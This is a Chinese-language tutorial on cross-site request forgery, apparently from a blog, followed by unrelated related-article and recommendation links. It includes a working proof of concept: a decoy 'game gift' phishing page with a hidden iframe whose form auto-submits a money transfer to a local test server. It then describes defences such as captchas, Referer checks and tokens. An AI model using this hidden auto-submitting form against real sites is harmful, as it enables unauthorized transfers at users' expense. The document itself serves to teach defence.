CSRF(跨站请求伪造)
跨站请求伪造(Cross-site request forgery)是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。
攻击的前提是: 用户已经登录过某网站。
攻击者通过一些诱惑性的标题,诱惑用户点击,结果被“钓鱼”,造成一些恶劣的后果,如金钱丢失等。
代码参考:https://github.com/lyraLe/XSS
示例:
如果在本地(127.0.0.1)3000端口,有个用户登录转账网站。通过抓包等分析出转账接口需要传递用户名和金额。
这个时候可以通过在任何一个网站中嵌入下面的代码。
<form name="fished" method="post" action="http://127.0.0.1:3000/api/transfer">
<input value="zfpx" name="target" />
<input value="100" name="balance" />
</form>
⚠️: localhost 和 127.0.0.1不是一回事。而且表态提交不存在跨域问题。域名相同,端口不同时,共享cookie。
然后在控制台中输入
document.fished.submit()
则会直接实现转账成功。
因为上面的方式会出现页面跳转到结果的现象。所以,一般钓鱼网站会将一个表单提交的iframe嵌入到一个钓鱼网站中。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>钓鱼网站</title>
</head>
<body>
<h2>游戏礼包大放送,查看有哪些内容</h2>
<h3>该网站由fishServer启动,访问的端口是3001</h3>
<p>
这是一个钓鱼网站。顾名思义,就是这个网站上可以钓鱼,钓鱼就需要鱼饵,鱼饵就是被钓的人<br/>
感兴趣的图片或者标题和内容。比如美女图片~~~,<br/>
钓鱼网站的危险藏在水下。也就是网站内部隐藏的嵌入网站等。
</p>
<iframe style="display: none" src="./bad.html"></iframe>
<script src="/node_modules/jquery/dist/jquery.js"></script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>恶意网站</title>
</head>
<body>
<form name="fished" method="post" action="http://127.0.0.1:3000/api/transfer">
<input value="zfpx" name="target" />
<input value="100" name="balance" />
</form>
<script>
document.fished.submit();
</script>
</body>
</html>
⚠️: 如果用户登录过本地的网站。在嵌入表单提交的第三方网站本质上拿不到cookie,在提交的时候会自动携带cookie。
如何避免上面的情况发生?
1. 验证码(可通过svg-captcha模拟)--登录后操作某些功能要求输入验证码
该方法用于减少并发量比较多,如12306(登录前就输入验证码)。用于避免CSRF攻击的化,用户体验不好。
实现方式:
钓鱼网站获取不到验证码。只有登录用户看得到。
2. 通过识别来源(请求头中的Referer)--如果Referer和接口的域名端口等不一致,说明被攻击
该方法不靠谱,因为可以通过node等方法伪造请求。
实现方式:
在后端接口接受请求的地方判断req.referer.includes('http://localhost:3000')。括号内是当前的域名和接口。
3. token -- 前后端约定一个令牌
类似验证码。但是不需要用户输入。他通过(cookie+标志)或者其他规则来生成一个token。
实现方法:
前端通过发送token,后端验证token.
CSRF(跨站请求伪造)的更多相关文章
- python CSRF跨站请求伪造
python CSRF跨站请求伪造 <!DOCTYPE html> <html lang="en"> <head> <meta chars ...
- Django之CSRF跨站请求伪造(老掉牙的钓鱼网站模拟)
首先这是一个测试的代码 请先在setting页面进行下面操作 注释完成后,开始模拟钓鱼网站的跨站请求伪造操作: 前端代码: <!DOCTYPE html> <html lang=&q ...
- ajax向Django前后端提交请求和CSRF跨站请求伪造
1.ajax登录示例 urls.py from django.conf.urls import url from django.contrib import admin from app01 impo ...
- python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)
一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...
- 第三百一十五节,Django框架,CSRF跨站请求伪造
第三百一十五节,Django框架,CSRF跨站请求伪造 全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.midd ...
- Django中的CSRF(跨站请求伪造)
Django中的CSRF(跨站请求伪造) Django CSRF 什么是CSFR 即跨站请求伪装,就是通常所说的钓鱼网站. 钓鱼网站的页面和正经网站的页面对浏览器来说有什么区别? (页面是怎么来的? ...
- Django框架 之 基于Ajax中csrf跨站请求伪造
Django框架 之 基于Ajax中csrf跨站请求伪造 ajax中csrf跨站请求伪造 方式一 1 2 3 $.ajaxSetup({ data: {csrfmiddlewaretoken: ...
- 十三 Django框架,CSRF跨站请求伪造
全局CSRF 如果要启用防止CSRF跨站请求伪造,就需要在中间件开启CSRF #中间件 MIDDLEWARE = [ 'django.middleware.security.SecurityMidd ...
- Web框架之Django_09 重要组件(Django中间件、csrf跨站请求伪造)
摘要 Django中间件 csrf跨站请求伪造 一.Django中间件: 什么是中间件? 官方的说法:中间件是一个用来处理Django的请求和响应的框架级别的钩子.它是一个轻量.低级别的插件系统,用于 ...
- django上课笔记3-ORM补充-CSRF (跨站请求伪造)
一.ORM补充 ORM操作三大难点: 正向操作反向操作连表 其它基本操作(包含F Q extra) 性能相关的操作 class UserInfo(models.Model): uid = models ...
随机推荐
- 【数据库-SQL Server】IDispatch error #3092
使用msado15.tlh,链接Microsoft SQL Server,执行语法(syntax)的时候出现IDispatch error #3092的错误. 1.语法错误 (1)保证语法正确,有些数 ...
- 汉诺塔递推HDU2064
题意: 移动木头盘不能a到c,必须a到b到c. 问你移动次数. 假设将n层塔从A经B挪到C需要f[n]步.那么具体的移动过程可以这样看:将上面n-1层从A经B挪到C需要f[n-1]步,再将第n层从A挪 ...
- js图片压缩上传
最近公司的移动产品相约app要做一次活动,涉及到图片上传,图片又不能太大,不然用户体验太差,必须先压缩再上传,所以用到了html5的canvas和FileReader,代码先上,小弟前端经验不足,代码 ...
- Linux:删除一个目录下的所有文件,但保留一个指定文件
面试题:删除一个目录下的所有文件,但保留一个指定文件 解答: 假设这个目录是/xx/,里面有file1,file2,file3..file10 十个文件 [root@oldboy xx]# touc ...
- javascript 的惯性运动
移动端的惯性运动,最早来自 ios 的专利.用于手指滑动,离开屏幕之后,屏幕内容继续滚动.更有动态感. 这里,以 pc 端,鼠标横向(沿x轴) 拖拽的,惯性计算.移动端同理 具体代码如下: <! ...
- POJ 1789 Prim
给定N个字符串,某个字符串转为另一个字符串的花费为他们每一位不相同的字符数. 求最小花费Q. Input 多组输入,以0结束. 保证N不超过2000. Output 每组输出"The hig ...
- python 画3D的高斯曲线
用python画3D的高斯曲线,我想如果有多个峰怎么画? import numpy as npimport matplotlib.pyplot as pltimport mathimport mpl_ ...
- IOC+EF+Core搭建项目框架(三)
/// <summary> /// 表示类别映射配置 /// </summary> public partial class sys_UserMap : NopEntityTy ...
- vue报类似警告Computed property "isLoading" was assigned to but it has no setter
一.原因:一个计算属性,当计算传入的是一个函数,或者传入的是一个对象,而没有设置 setter,也就是 set 属性,当你尝试直接该改变这个这个计算属性的值,都会报这个警告,vuex还会出现通过com ...
- TVM图优化(以Op Fusion为例)
首先给出一个TVM 相关的介绍,这个是Tianqi Chen演讲在OSDI18上用的PPThttps://files.cnblogs.com/files/jourluohua/Tianqi-Chen- ...